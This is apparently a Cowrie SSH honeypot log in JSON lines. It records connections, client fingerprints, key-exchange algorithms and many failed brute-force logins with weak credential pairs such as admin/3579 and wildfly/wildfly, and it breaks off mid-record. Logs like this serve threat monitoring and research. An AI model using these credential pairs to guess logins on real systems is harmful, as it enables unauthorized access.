{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:43.810087Z","src_ip":"213.209.159.158","session":"6df07d3cc8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d7212c4376","protocol":"ssh","message":"New connection: 103.117.56.152:59524 (159.203.135.109:22) [session: 59d7212c4376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:47.131226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:47.134377Z","src_ip":"103.117.56.152","session":"59d7212c4376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:47.372775Z","src_ip":"103.117.56.152","session":"59d7212c4376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dhiraj","password":"12345678","message":"login attempt [dhiraj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:48.367125Z","src_ip":"103.117.56.152","session":"59d7212c4376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:49.609146Z","src_ip":"103.117.56.152","session":"59d7212c4376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadmin","password":"vadmin","message":"login attempt [vadmin/vadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:54.022793Z","src_ip":"213.209.159.158","session":"6df07d3cc8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:57.350543Z","src_ip":"213.209.159.158","session":"6df07d3cc8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47272,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2f54fe5396","protocol":"ssh","message":"New connection: 213.209.159.158:47272 (159.203.135.109:22) [session: fa2f54fe5396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:57.456640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:00.089514Z","src_ip":"213.209.159.158","session":"fa2f54fe5396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:00.093889Z","src_ip":"213.209.159.158","session":"fa2f54fe5396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wildfly","password":"wildfly","message":"login attempt [wildfly/wildfly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:09.752109Z","src_ip":"213.209.159.158","session":"fa2f54fe5396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:13.075351Z","src_ip":"213.209.159.158","session":"fa2f54fe5396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51878,"dst_ip":"159.203.135.109","dst_port":22,"session":"434d8188c7c8","protocol":"ssh","message":"New connection: 213.209.159.158:51878 (159.203.135.109:22) [session: 434d8188c7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:13.153568Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed148d82141c","protocol":"ssh","message":"New connection: 2.57.122.210:34710 (159.203.135.109:22) [session: ed148d82141c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:14.458565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:14.466103Z","src_ip":"2.57.122.210","session":"ed148d82141c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:14.556044Z","src_ip":"2.57.122.210","session":"ed148d82141c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stake","password":"stake","message":"login attempt [stake/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:15.000238Z","src_ip":"2.57.122.210","session":"ed148d82141c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:15.803988Z","src_ip":"213.209.159.158","session":"434d8188c7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:15.807164Z","src_ip":"213.209.159.158","session":"434d8188c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":35104,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbda547716fa","protocol":"ssh","message":"New connection: 34.85.163.94:35104 (159.203.135.109:22) [session: cbda547716fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:16.059333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:16.063743Z","src_ip":"34.85.163.94","session":"cbda547716fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:16.074477Z","src_ip":"34.85.163.94","session":"cbda547716fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:16.096883Z","src_ip":"2.57.122.210","session":"ed148d82141c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jorge","password":"jorge@123","message":"login attempt [jorge/jorge@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:16.317683Z","src_ip":"34.85.163.94","session":"cbda547716fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:17.331257Z","src_ip":"34.85.163.94","session":"cbda547716fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"bai","message":"login attempt [bai/bai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:25.432934Z","src_ip":"213.209.159.158","session":"434d8188c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:29.207260Z","src_ip":"213.209.159.158","session":"434d8188c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20116,"dst_ip":"10.17.0.5","dst_port":22,"session":"0786985aaad1","protocol":"ssh","message":"New connection: 2.57.121.112:20116 (10.17.0.5:22) [session: 0786985aaad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:38.770365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:38.774271Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:38.868880Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3579","message":"login attempt [admin/3579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:39.326111Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3456789","message":"login attempt [admin/3456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:40.425581Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3377","message":"login attempt [admin/3377] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:41.523316Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3364068","message":"login attempt [admin/3364068] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:42.620596Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"33223322","message":"login attempt [admin/33223322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:43.717772Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:44.815668Z","src_ip":"2.57.121.112","session":"0786985aaad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52954,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c310a572ed","protocol":"ssh","message":"New connection: 195.178.110.218:52954 (159.203.135.109:22) [session: 19c310a572ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:49.293893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:49.298707Z","src_ip":"195.178.110.218","session":"19c310a572ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:49.377614Z","src_ip":"195.178.110.218","session":"19c310a572ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:49.615225Z","src_ip":"195.178.110.218","session":"19c310a572ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:43:50.695704Z","src_ip":"195.178.110.218","session":"19c310a572ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":37060,"dst_ip":"159.203.135.109","dst_port":22,"session":"5023287cc5f4","protocol":"ssh","message":"New connection: 201.245.201.162:37060 (159.203.135.109:22) [session: 5023287cc5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:00.755027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:00.760579Z","src_ip":"201.245.201.162","session":"5023287cc5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sh